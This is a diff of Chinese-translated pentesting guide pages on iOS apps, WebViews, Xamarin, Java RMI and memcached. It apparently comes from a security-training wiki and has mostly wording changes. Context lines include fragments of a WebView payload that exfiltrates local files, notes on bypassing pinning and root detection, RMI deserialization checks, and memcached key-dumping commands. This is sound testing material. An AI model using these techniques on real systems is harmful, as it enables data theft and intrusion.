在 `/Users/<username>/Library/Developer/CoreSimulator/Devices` 中,您可以找到所有**已安装的模拟器**。如果您想访问在其中一个仿真器中创建的应用程序的文件,可能很难知道**应用程序安装在哪个仿真器中**。快速找到**正确的 UID**的方法是先在模拟器中执行应用程序,然后执行:
|
||||
```bash
|
||||
xcrun simctl list | grep Booted
|
||||
iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
|
||||
@ -67,7 +67,7 @@ Corellium 是唯一公开可用的 iOS 模拟器。它是一个企业级 SaaS
|
||||
|
||||
虽然经常被比较,Android 的**rooting**和 iOS 的**越狱**在本质上是不同的过程。对 Android 设备进行 root 可能涉及**安装 `su` 二进制文件**或**用已 root 的自定义 ROM 替换系统**,如果引导加载程序已解锁,则不一定需要利用漏洞。**闪存自定义 ROM**在解锁引导加载程序后替换设备的操作系统,有时需要利用漏洞。
|
||||
|
||||
相比之下,由于引导加载程序限制仅能启动苹果签名的镜像,iOS 设备无法闪存自定义 ROM。**越狱 iOS**旨在绕过苹果的代码签名保护以运行未签名的代码,这一过程因苹果不断的安全增强而变得复杂。
|
||||
相比之下,由于引导加载程序限制只能启动苹果签名的镜像,iOS 设备无法闪存自定义 ROM。**越狱 iOS**旨在绕过苹果的代码签名保护以运行未签名的代码,这一过程因苹果不断的安全增强而变得复杂。
|
||||
|
||||
### 越狱挑战
|
||||
|
||||
@ -104,7 +104,7 @@ basic-ios-testing-operations.md
|
||||
|
||||
### **越狱检测**
|
||||
|
||||
**一些应用程序会尝试检测手机是否越狱,如果是,应用程序将无法运行**
|
||||
**一些应用程序会尝试检测手机是否越狱,在这种情况下应用程序将无法运行**
|
||||
|
||||
- 在越狱的 iOS 设备上,**文件和文件夹通常会被安装**,可以搜索这些文件以确定设备是否越狱。
|
||||
- 在越狱设备上,应用程序获得**对新文件的读/写访问权限**,超出沙盒限制。
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
从 iOS 6 开始,第三方应用程序可以使用像 AirDrop 这样的机制**共享数据**,例如文本、URL 或图像,具体内容请参见苹果的 [Inter-App Communication guide](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3)。此功能通过一个系统范围的 _分享活动表_ 体现,当与“分享”按钮交互时会出现。
|
||||
|
||||
所有内置共享选项的全面枚举可在 [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) 中找到。开发者可以选择排除特定的共享选项,如果他们认为这些选项不适合他们的应用程序。
|
||||
所有内置共享选项的全面列举可在 [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype) 中找到。开发者可以选择排除特定的共享选项,如果他们认为这些选项不适合他们的应用程序。
|
||||
|
||||
## **如何共享数据**
|
||||
|
||||
@ -16,7 +16,7 @@
|
||||
- 自定义活动的包含。
|
||||
- 某些活动类型的排除。
|
||||
|
||||
共享是通过实例化 `UIActivityViewController` 来实现的,待共享的项目将传递给它。这是通过调用实现的:
|
||||
共享是通过实例化 `UIActivityViewController` 来实现的,待共享的项目将被传递给它。这是通过调用实现的:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
@ -44,11 +44,11 @@ $ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
|
||||
对于 **接收项目**,涉及:
|
||||
|
||||
- 从其他来源(例如 AirDrop、电子邮件)与应用共享文件,提示“打开方式...”对话框。
|
||||
- 从另一个来源(例如 AirDrop、电子邮件)与应用共享文件,提示“打开方式...”对话框。
|
||||
- 钩住 `application:openURL:options:` 以及在静态分析中识别的其他方法,以观察应用的响应。
|
||||
- 使用格式错误的文件或模糊测试技术来评估应用的稳健性。
|
||||
|
||||
## 参考文献
|
||||
## 参考
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||
|
||||
|
||||
@ -35,7 +35,7 @@
|
||||
- **项目数量** 和 **数据类型**,利用标准和自定义数据类型检查。
|
||||
- 通过检查 `setItems:options:` 方法来查看 **过期和本地选项**。
|
||||
|
||||
监控工具使用的一个示例是 **objection 的粘贴板监视器**,每 5 秒轮询一次 generalPasteboard 以检查更改并输出新数据。
|
||||
监控工具使用的一个示例是 **objection 的粘贴板监视器**,它每 5 秒轮询一次 generalPasteboard 以检查更改并输出新数据。
|
||||
|
||||
这是一个简单的 JavaScript 脚本示例,灵感来自 objection 的方法,每 5 秒读取并记录粘贴板的更改:
|
||||
```javascript
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## 介绍
|
||||
|
||||
Universal links 为用户提供了 **无缝重定向** 的体验,通过直接在应用中打开内容,绕过了 Safari 的重定向需求。这些链接是 **唯一** 和安全的,因为它们不能被其他应用声明。这是通过在网站的根目录中托管 `apple-app-site-association` JSON 文件来确保的,从而建立网站与应用之间的可验证链接。在应用未安装的情况下,Safari 将接管并将用户引导到网页,保持应用的存在。
|
||||
Universal links 为用户提供了 **无缝重定向** 的体验,通过直接在应用中打开内容,绕过了 Safari 重定向的需要。这些链接是 **唯一** 和安全的,因为它们不能被其他应用声明。这是通过在网站的根目录中托管 `apple-app-site-association` JSON 文件来确保的,从而建立网站与应用之间的可验证链接。在应用未安装的情况下,Safari 将接管并将用户引导到网页,保持应用的存在。
|
||||
|
||||
对于渗透测试人员来说,`apple-app-site-association` 文件特别引人关注,因为它可能会揭示 **敏感路径**,可能包括与未发布功能相关的路径。
|
||||
|
||||
@ -18,7 +18,7 @@ Universal links 为用户提供了 **无缝重定向** 的体验,通过直接
|
||||
<string>applinks:t.me</string>
|
||||
</array>
|
||||
```
|
||||
有关更全面的见解,请参阅[归档的 Apple 开发者文档](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)。
|
||||
对于更全面的见解,请参考[归档的 Apple 开发者文档](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2)。
|
||||
|
||||
如果使用编译的应用程序,可以按照[本指南](extracting-entitlements-from-compiled-application.md)中概述的方法提取权限。
|
||||
|
||||
@ -28,7 +28,7 @@ Universal links 为用户提供了 **无缝重定向** 的体验,通过直接
|
||||
|
||||
### **在应用中处理 Universal Links**
|
||||
|
||||
应用必须实现特定方法以正确处理 universal links。需要关注的主要方法是[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)。处理的 URL 的方案必须是 HTTP 或 HTTPS,其他方案将不被支持。
|
||||
应用必须实现特定的方法以正确处理 universal links。需要关注的主要方法是[`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application)。处理的 URL 的方案必须是 HTTP 或 HTTPS,其他方案将不被支持。
|
||||
|
||||
#### **验证数据处理方法**
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
此页面的代码摘自 [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)。有关更多详细信息,请查看该页面。
|
||||
该页面的代码摘自 [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)。有关更多详细信息,请查看该页面。
|
||||
|
||||
## WebViews 类型
|
||||
|
||||
@ -122,7 +122,7 @@ frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||||
|
||||
在 WebViews 中处理内容是一个关键方面,特别是在处理各种协议时,如 `http(s)://`、`file://` 和 `tel://`。这些协议使得在应用程序中加载远程和本地内容成为可能。强调在加载本地内容时,必须采取预防措施,以防止用户影响文件的名称或路径以及编辑内容本身。
|
||||
|
||||
**WebViews** 提供了不同的内容加载方法。对于已弃用的 **UIWebView**,使用 `loadHTMLString:baseURL:` 和 `loadData:MIMEType:textEncodingName:baseURL:` 等方法。而 **WKWebView** 则使用 `loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:` 和 `loadRequest:` 来加载网页内容。通常使用 `pathForResource:ofType:`、`URLForResource:withExtension:` 和 `init(contentsOf:encoding:)` 方法来加载本地文件。`loadFileURL:allowingReadAccessToURL:` 方法尤其值得注意,因为它能够将特定的 URL 或目录加载到 WebView 中,如果指定了目录,可能会暴露敏感数据。
|
||||
**WebViews** 提供了不同的内容加载方法。对于已弃用的 **UIWebView**,使用 `loadHTMLString:baseURL:` 和 `loadData:MIMEType:textEncodingName:baseURL:` 等方法。另一方面,**WKWebView** 使用 `loadHTMLString:baseURL:`、`loadData:MIMEType:textEncodingName:baseURL:` 和 `loadRequest:` 来加载网页内容。通常使用 `pathForResource:ofType:`、`URLForResource:withExtension:` 和 `init(contentsOf:encoding:)` 方法来加载本地文件。`loadFileURL:allowingReadAccessToURL:` 方法尤其值得注意,因为它能够将特定的 URL 或目录加载到 WebView 中,如果指定了目录,可能会暴露敏感数据。
|
||||
|
||||
要在源代码或编译的二进制文件中找到这些方法,可以使用以下命令:
|
||||
```bash
|
||||
@ -149,7 +149,7 @@ console.log('done for WKWebView!');
|
||||
}
|
||||
});
|
||||
```
|
||||
最后,一个旨在提取本地文件的JavaScript有效负载示例展示了与配置不当的WebViews相关的潜在安全风险。该有效负载在将文件内容传输到服务器之前,将其编码为十六进制格式,突显了在WebView实现中严格安全措施的重要性。
|
||||
最后,一个旨在提取本地文件的JavaScript有效载荷示例展示了与配置不当的WebViews相关的潜在安全风险。该有效载荷在将文件内容传输到服务器之前,将其编码为十六进制格式,突显了在WebView实现中严格安全措施的重要性。
|
||||
```javascript
|
||||
String.prototype.hexEncode = function () {
|
||||
var hex, i
|
||||
@ -198,7 +198,7 @@ xhr.send(null)
|
||||
```
|
||||
### 与 `WKWebView` 的通信
|
||||
|
||||
对于 `WKWebView`,无法直接访问 `JSContext`。相反,通过 `postMessage` 函数利用消息传递,实现 JavaScript 与原生的通信。这些消息的处理程序设置如下,使 JavaScript 能够安全地与原生应用程序进行交互:
|
||||
对于 `WKWebView`,无法直接访问 `JSContext`。相反,使用 `postMessage` 函数进行消息传递,使 JavaScript 能够与本地通信。这些消息的处理程序设置如下,使 JavaScript 能够安全地与本地应用程序进行交互:
|
||||
```swift
|
||||
func enableJavaScriptBridge(_ enabled: Bool) {
|
||||
options_dict["javaScriptBridge"]?.value = enabled
|
||||
@ -213,7 +213,7 @@ userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridg
|
||||
```
|
||||
### 交互与测试
|
||||
|
||||
JavaScript 可以通过定义脚本消息处理程序与原生层进行交互。这允许从网页调用原生函数等操作:
|
||||
JavaScript 可以通过定义脚本消息处理程序与本地层进行交互。这允许从网页调用本地函数等操作:
|
||||
```javascript
|
||||
function invokeNativeOperation() {
|
||||
value1 = document.getElementById("value1").value
|
||||
@ -258,18 +258,18 @@ message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||||
|
||||
要有效调试 iOS webviews 中的网页内容,需要特定的设置,涉及 Safari 的开发者工具,因为发送到 `console.log()` 的消息不会显示在 Xcode 日志中。以下是简化的指南,强调关键步骤和要求:
|
||||
|
||||
- **在 iOS 设备上的准备**:需要在您的 iOS 设备上激活 Safari Web Inspector。通过进入 **设置 > Safari > 高级**,并启用 _Web Inspector_ 来完成。
|
||||
- **在 iOS 设备上的准备**:需要在您的 iOS 设备上激活 Safari Web Inspector。通过进入 **设置 > Safari > 高级**,并启用 _Web Inspector_ 来完成此操作。
|
||||
|
||||
- **在 macOS 设备上的准备**:在您的 macOS 开发机器上,必须在 Safari 中启用开发者工具。启动 Safari,访问 **Safari > 偏好设置 > 高级**,并选择 _显示开发菜单_ 的选项。
|
||||
|
||||
- **连接和调试**:将您的 iOS 设备连接到 macOS 计算机并启动您的应用程序后,使用 macOS 设备上的 Safari 选择您要调试的 webview。在 Safari 菜单栏中导航到 _开发_,将鼠标悬停在您的 iOS 设备名称上以查看 webview 实例列表,并选择您希望检查的实例。将为此目的打开一个新的 Safari Web Inspector 窗口。
|
||||
- **连接和调试**:将您的 iOS 设备连接到 macOS 计算机并启动您的应用程序后,使用 macOS 设备上的 Safari 选择您要调试的 webview。在 Safari 菜单栏中导航到 _开发_,将鼠标悬停在您的 iOS 设备名称上以查看 webview 实例列表,然后选择您希望检查的实例。将为此目的打开一个新的 Safari Web Inspector 窗口。
|
||||
|
||||
但是,请注意以下限制:
|
||||
|
||||
- 使用此方法进行调试需要一台 macOS 设备,因为它依赖于 Safari。
|
||||
- 只有通过 Xcode 加载到您的设备上的应用程序中的 webviews 才有资格进行调试。通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews 不能以这种方式进行调试。
|
||||
- 只有通过 Xcode 加载到您的设备上的应用程序中的 webviews 才可以进行调试。通过 App Store 或 Apple Configurator 安装的应用程序中的 webviews 不能以这种方式进行调试。
|
||||
|
||||
## 参考
|
||||
## 参考文献
|
||||
|
||||
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||||
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||||
|
||||
@ -9,7 +9,7 @@ Xamarin 是一个 **开源平台**,旨在帮助开发者 **为 iOS、Android
|
||||
### Xamarin 的架构
|
||||
|
||||
- 对于 **Android**,Xamarin 通过 .NET 绑定与 Android 和 Java 命名空间集成,在 Mono 执行环境中与 Android Runtime (ART) 一起运行。托管可调用包装器 (MCW) 和 Android 可调用包装器 (ACW) 促进 Mono 和 ART 之间的通信,二者均基于 Linux 内核构建。
|
||||
- 对于 **iOS**,应用程序在 Mono 运行时下运行,利用完整的提前编译 (AOT) 将 C# .NET 代码转换为 ARM 汇编语言。此过程与 UNIX 类内核上的 Objective-C Runtime 一起运行。
|
||||
- 对于 **iOS**,应用程序在 Mono 运行时下运行,利用完整的提前编译 (AOT) 将 C# .NET 代码转换为 ARM 汇编语言。此过程与 UNIX 类内核上的 Objective-C 运行时一起运行。
|
||||
|
||||
### .NET 运行时和 Mono 框架
|
||||
|
||||
@ -41,12 +41,12 @@ iOS dll 文件可以轻松获取以进行反编译,揭示应用程序代码的
|
||||
|
||||
### 静态分析
|
||||
|
||||
一旦获得 `.dll` 文件,就可以使用 [**dnSpy**](https://github.com/dnSpy/dnSpy) **或** [**ILSpy**](https://github.com/icsharpcode/ILSpy) 工具对 .Net 代码进行静态分析。这对于篡改应用程序以绕过保护措施非常有用。\
|
||||
请注意,修改应用程序后,您需要重新打包并重新签名。
|
||||
一旦获得 `.dll`,可以使用工具如 [**dnSpy**](https://github.com/dnSpy/dnSpy) **或** [**ILSpy**](https://github.com/icsharpcode/ILSpy) **对 .Net 代码进行静态分析**,这将允许修改应用程序的代码。这对于篡改应用程序以绕过保护措施非常有用。\
|
||||
请注意,在修改应用程序后,您需要重新打包并重新签名。
|
||||
|
||||
### 动态分析
|
||||
|
||||
动态分析涉及检查 SSL 钉扎,并使用 [Fridax](https://github.com/NorthwaveSecurity/fridax) 工具对 Xamarin 应用中的 .NET 二进制文件进行运行时修改。Frida 脚本可用于绕过根检测或 SSL 钉扎,增强分析能力。
|
||||
动态分析涉及检查 SSL 钉扎,并使用工具如 [Fridax](https://github.com/NorthwaveSecurity/fridax) 对 Xamarin 应用中的 .NET 二进制文件进行运行时修改。Frida 脚本可用于绕过根检测或 SSL 钉扎,增强分析能力。
|
||||
|
||||
其他有趣的 Frida 脚本:
|
||||
|
||||
|
||||
@ -51,15 +51,15 @@ e.printStackTrace();
|
||||
}
|
||||
}
|
||||
```
|
||||
上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_,基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时,它会向 _DGC_ 发送信息,表明相应的 _remote object_ 正在使用中。然后,_DGC_ 可以跟踪引用计数,并能够清理未使用的对象。
|
||||
上述提到的第二个挑战是由 _Distributed Garbage Collector_ (_DGC_) 解决的。这是另一个具有众所周知的 `ObjID` 值的 _RMI service_,并且基本上在每个 _RMI endpoint_ 上都可用。当 _RMI client_ 开始使用 _RMI service_ 时,它会向 _DGC_ 发送信息,表明相应的 _remote object_ 正在使用中。然后,_DGC_ 可以跟踪引用计数,并能够清理未使用的对象。
|
||||
|
||||
连同已弃用的 _Activation System_,这三者是 _Java RMI_ 的默认组件:
|
||||
连同已弃用的 _Activation System_,这就是 _Java RMI_ 的三个默认组件:
|
||||
|
||||
1. _RMI Registry_ (`ObjID = 0`)
|
||||
2. _Activation System_ (`ObjID = 1`)
|
||||
3. _Distributed Garbage Collector_ (`ObjID = 2`)
|
||||
|
||||
_Java RMI_ 的默认组件已知是攻击向量已有一段时间,并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,并且可以轻松与之交互。对于自定义的 _RMI services_,情况则不同。要调用 _remote object_ 上的方法,您需要提前知道相应的方法签名。如果不知道现有的方法签名,就无法与 _RMI service_ 进行通信。
|
||||
_Java RMI_ 的默认组件已知攻击向量已有一段时间,并且在过时的 _Java_ 版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,并且可以轻松与之交互。对于自定义的 _RMI services_,情况则不同。要调用 _remote object_ 上的方法,您需要提前知道相应的方法签名。如果不知道现有的方法签名,就无法与 _RMI service_ 进行通信。
|
||||
|
||||
## RMI Enumeration
|
||||
|
||||
@ -123,9 +123,9 @@ $ rmg enum 172.17.0.2 9010
|
||||
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
|
||||
[+] --> Client codebase enabled - Configuration Status: Non Default
|
||||
```
|
||||
枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的说明。根据结果,您应该尝试验证已识别的漏洞。
|
||||
枚举操作的输出在项目的[文档页面](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action)中有更详细的解释。根据结果,您应该尝试验证识别出的漏洞。
|
||||
|
||||
_远程方法猜测器_显示的`ObjID`值可以用来确定服务的正常运行时间。这可能有助于识别其他漏洞:
|
||||
_远程方法猜测器_显示的`ObjID`值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞:
|
||||
```
|
||||
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
|
||||
@ -138,7 +138,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
|
||||
```
|
||||
## 暴力破解远程方法
|
||||
|
||||
即使在枚举过程中没有发现漏洞,现有的 _RMI_ 服务仍可能暴露危险功能。此外,尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护,但在与自定义 _RMI_ 服务交谈时,这些过滤器通常并不存在。因此,了解 _RMI_ 服务上的有效方法签名是非常有价值的。
|
||||
即使在枚举过程中没有发现漏洞,可用的 _RMI_ 服务仍可能暴露危险功能。此外,尽管与 _RMI_ 默认组件的 _RMI_ 通信受到反序列化过滤器的保护,但与自定义 _RMI_ 服务的通信通常没有这些过滤器。因此,了解 _RMI_ 服务上的有效方法签名是非常有价值的。
|
||||
|
||||
不幸的是,_Java RMI_ 不支持枚举 _远程对象_ 上的方法。也就是说,可以使用像 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 这样的工具来暴力破解方法签名:
|
||||
```
|
||||
|
||||
@ -8,7 +8,7 @@
|
||||
|
||||
> **Memcached**(发音:mem-cashed, mem-cash-dee)是一个通用的分布式 [内存缓存](https://en.wikipedia.org/wiki/Memory_caching) 系统。它通常用于通过在RAM中缓存数据和对象来加速动态数据库驱动的网站,以减少读取外部数据源(如数据库或API)的次数。
|
||||
|
||||
尽管Memcached支持SASL,但大多数实例是 **未经过身份验证** 的。
|
||||
尽管Memcached支持SASL,但大多数实例是 **未经过身份验证的**。
|
||||
|
||||
**默认端口:** 11211
|
||||
```
|
||||
@ -53,7 +53,7 @@ msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplifica
|
||||
```
|
||||
## **Dumping Memcache Keys**
|
||||
|
||||
在memcache的领域中,作为一种通过slabs组织数据的协议,存在特定的命令用于检查存储的数据,尽管有显著的限制:
|
||||
在memcache的领域中,一种通过slabs组织数据的协议,存在特定的命令用于检查存储的数据,尽管有显著的限制:
|
||||
|
||||
1. 只能按slab类转储键,将相似内容大小的键分组。
|
||||
2. 每个slab类的限制为一页,相当于1MB的数据。
|
||||
@ -95,7 +95,7 @@ stats items
|
||||
|
||||
### **转储键**
|
||||
|
||||
对于 1.4.31 之前的版本,键通过 slab 类使用:
|
||||
对于 1.4.31 之前的版本,键是通过 slab 类转储的,使用:
|
||||
```bash
|
||||
stats cachedump <slab class> <number of items to dump>
|
||||
```
|
||||
@ -116,16 +116,16 @@ echo 'lru_crawler metadump all' | nc 127.0.0.1 11211 | grep ee6ba58566e234ccbbce
|
||||
```
|
||||
### **转储工具**
|
||||
|
||||
Table [from here](https://lzone.de/blog).
|
||||
表格 [来自这里](https://lzone.de/blog)。
|
||||
|
||||
| 编程语言 | 工具 | 功能 | | |
|
||||
| 编程语言 | 工具 | 功能 | | |
|
||||
| --------------------- | --------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -------------------------------------------------------------------------- | ------- |
|
||||
| PHP | [simple script](http://snipt.org/xtP) | 打印键名。 | | |
|
||||
| Perl | [simple script](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | 打印键和值 | | |
|
||||
| Ruby | [simple script](https://gist.github.com/1365005) | 打印键名。 | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN模块中的工具 | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache监控GUI,也允许转储键 | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **会冻结你的memcached进程!!!** 使用时要小心。如果仍然使用它,你可以绕过1MB限制,真正转储**所有**键。 | | |
|
||||
| PHP | [简单脚本](http://snipt.org/xtP) | 打印键名。 | | |
|
||||
| Perl | [简单脚本](https://wiki.jasig.org/download/attachments/13572172/memcached-clean.pl?version=1&modificationDate=1229693957401) | 打印键和值 | | |
|
||||
| Ruby | [简单脚本](https://gist.github.com/1365005) | 打印键名。 | | |
|
||||
| Perl | [memdump](https://search.cpan.org/~dmaki/Memcached-libmemcached-0.4202/src/libmemcached/docs/memdump.pod) | CPAN模块中的工具 | [Memcached-libmemcached](https://search.cpan.org/~dmaki/Memcached-libmemc) | ached/) |
|
||||
| PHP | [memcache.php](http://livebookmark.net/journal/2008/05/21/memcachephp-stats-like-apcphp/) | Memcache监控GUI,也允许转储键 | | |
|
||||
| libmemcached | [peep](http://blog.evanweaver.com/2009/04/20/peeping-into-memcached/) | **会冻结你的memcached进程!!!** 使用时要小心。如果仍然使用它,你可以绕过1MB限制,真正转储**所有**键。 | | |
|
||||
|
||||
## 故障排除 <a href="#troubleshooting" id="troubleshooting"></a>
|
||||
|
||||
@ -133,9 +133,9 @@ Table [from here](https://lzone.de/blog).
|
||||
|
||||
请注意,在memcached 1.4之前,您无法存储大于1MB的对象,因为默认的最大块大小。
|
||||
|
||||
### 永远不要设置超时 > 30 天! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
### 永远不要设置超时 > 30 天! <a href="#never-set-a-timeout--30-days" id="never-set-a-timeout--30-days"></a>
|
||||
|
||||
如果您尝试“设置”或“添加”一个超时大于允许的最大值的键,您可能不会得到预期的结果,因为memcached会将该值视为Unix时间戳。如果时间戳在过去,它将完全不执行任何操作。您的命令将静默失败。
|
||||
如果您尝试“设置”或“添加”一个超时大于允许的最大值的键,您可能不会得到预期的结果,因为memcached会将该值视为Unix时间戳。如果时间戳在过去,它将根本不执行任何操作。您的命令将默默失败。
|
||||
|
||||
因此,如果您想使用最大生命周期,请指定2592000。示例:
|
||||
```
|
||||
@ -150,12 +150,12 @@ set my_key 0 2592000 1
|
||||
|
||||
memcached 本身不支持复制。如果你真的需要它,你需要使用第三方解决方案:
|
||||
|
||||
- [repcached](http://repcached.lab.klab.org/): 多主异步复制 (memcached 1.2 补丁集)
|
||||
- [Couchbase memcached 接口](http://www.couchbase.com/memcached): 使用 CouchBase 作为 memcached 替代
|
||||
- [yrmcds](https://cybozu.github.io/yrmcds/): memcached 兼容的主从键值存储
|
||||
- [repcached](http://repcached.lab.klab.org/): 多主异步复制(memcached 1.2 补丁集)
|
||||
- [Couchbase memcached 接口](http://www.couchbase.com/memcached): 使用 CouchBase 作为 memcached 的替代
|
||||
- [yrmcds](https://cybozu.github.io/yrmcds/): 与 memcached 兼容的主从键值存储
|
||||
- [twemproxy](https://github.com/twitter/twemproxy) (又名 nutcracker): 支持 memcached 的代理
|
||||
|
||||
### 命令速查表
|
||||
### 命令备忘单
|
||||
|
||||
{{#ref}}
|
||||
memcache-commands.md
|
||||
|
||||
@ -2,6 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## 命令速查表
|
||||
|
||||
**来自** [**https://lzone.de/cheat-sheet/memcached**](https://lzone.de/cheat-sheet/memcached)
|
||||
@ -13,24 +14,24 @@
|
||||
| 命令 | 描述 | 示例 |
|
||||
| -------------------- | ------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ----------------------------- |
|
||||
| get | 读取一个值 | `get mykey` |
|
||||
| set | 无条件设置一个键 | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>确保在使用 Unix CLI 工具时使用 \r\n 作为换行符。例如</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | 添加一个新键 | `add newkey 0 60 5` |
|
||||
| set | 无条件设置一个键 | <p><code>set mykey <flags> <ttl> <size></code><br><br><p>确保在使用 Unix CLI 工具时使用 \r\n 作为换行符。例如</p> <code>printf "set mykey 0 60 4\r\ndata\r\n" | nc localhost 11211</code></p> |
|
||||
| add | 添加一个新键 | `add newkey 0 60 5` |
|
||||
| replace | 覆盖现有键 | `replace key 0 60 5` |
|
||||
| append | 将数据附加到现有键 | `append key 0 60 15` |
|
||||
| prepend | 将数据前置到现有键 | `prepend key 0 60 15` |
|
||||
| incr | 将数值键的值增加给定的数字 | `incr mykey 2` |
|
||||
| decr | 将数值键的值减少给定的数字 | `decr mykey 5` |
|
||||
| incr | 将数值键的值增加指定的数字 | `incr mykey 2` |
|
||||
| decr | 将数值键的值减少指定的数字 | `decr mykey 5` |
|
||||
| delete | 删除现有键 | `delete mykey` |
|
||||
| flush_all | 立即使所有项目失效 | `flush_all` |
|
||||
| flush_all | 在 n 秒内使所有项目失效 | `flush_all 900` |
|
||||
| stats | 打印一般统计信息 | `stats` |
|
||||
| | 打印内存统计信息 | `stats slabs` |
|
||||
| | 打印更高层次的分配统计信息 | `stats malloc` |
|
||||
| | 打印更高级别的分配统计信息 | `stats malloc` |
|
||||
| | 打印项目信息 | `stats items` |
|
||||
| | | `stats detail` |
|
||||
| | | `stats sizes` |
|
||||
| | 重置统计计数器 | `stats reset` |
|
||||
| lru_crawler metadump | 转储缓存中(所有)项目的大部分元数据 | `lru_crawler metadump all` |
|
||||
| lru_crawler metadump | 转储缓存中(所有)项目的大部分元数据 | `lru_crawler metadump all` |
|
||||
| version | 打印服务器版本 | `version` |
|
||||
| verbosity | 增加日志级别 | `verbosity` |
|
||||
| quit | 终止会话 | `quit` |
|
||||
@ -75,7 +76,7 @@ END
|
||||
```
|
||||
stats slabs
|
||||
```
|
||||
抱歉,我无法提供示例输出。请提供需要翻译的具体内容。
|
||||
示例输出:
|
||||
```
|
||||
STAT 1:chunk_size 80
|
||||
STAT 1:chunks_per_page 13107
|
||||
@ -96,11 +97,11 @@ STAT active_slabs 3
|
||||
STAT total_malloced 3145436
|
||||
END
|
||||
```
|
||||
如果您不确定您的 memcached 实例是否有足够的内存,请始终查看“stats”命令提供的“evictions”计数器。如果实例有足够的内存,“evictions”计数器应该为 0 或至少不增加。
|
||||
如果您不确定您的 memcached 实例是否有足够的内存,请始终关注“stats”命令提供的“evictions”计数器。如果实例有足够的内存,“evictions”计数器应该为 0 或至少不增加。
|
||||
|
||||
#### 哪些键被使用? <a href="#which-keys-are-used" id="which-keys-are-used"></a>
|
||||
|
||||
没有内置函数可以直接确定当前的键集。但是您可以使用
|
||||
没有内置函数可以直接确定当前的键集合。然而,您可以使用
|
||||
```
|
||||
stats items
|
||||
```
|
||||
@ -114,6 +115,6 @@ STAT items:2:age 1405
